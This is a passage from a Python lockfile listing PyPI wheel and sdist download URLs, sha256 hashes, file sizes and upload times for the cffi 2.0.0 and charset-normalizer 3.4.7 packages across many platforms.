{ url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" },
{ url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" },
{ url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" },
{ url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" },
{ url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" },
{ url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" },
{ url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" },
{ url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" },
{ url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" },
{ url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" },
{ url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" },
{ url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" },
{ url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" },
{ url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" },
{ url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" },
{ url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" },
{ url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" },
{ url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" },
{ url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" },
{ url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" },
{ url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" },
{ url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" },
{ url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" },
{ url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" },
]
[[package]]
name = "charset-normalizer"
version = "3.4.7"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" },
{ url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" },
{ url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" },
{ url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" },
{ url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" },
{ url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" },
{ url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" },
{ url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" },
{ url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" },
{ url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" },
{ url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" },
{ url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" },
{ url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" },
{ url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" },
{ url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" },
{ url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" },
{ url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" },
{ url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" },
{ url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" },
{ url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" },
{ url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" },
{ url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" },
{ url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" },
{ url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" },
{ url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" },
{ url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" },
{ url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" },
{ url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" },
{ url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" },
{ url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" },
{ url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" },
{ url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" },
{ url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" },
{ url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" },
{ url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" },
{ url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" },
{ url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" },
{ url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" },
{ url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" },
{ url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" },
{ url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" },
{ url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" },
{ url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" },
{ url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" },
{ url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" },
{ url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" },
{ url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" },
{ url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" },
{ url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" },
{ url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" },
{ url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" },
{ url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" },
{ url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" },
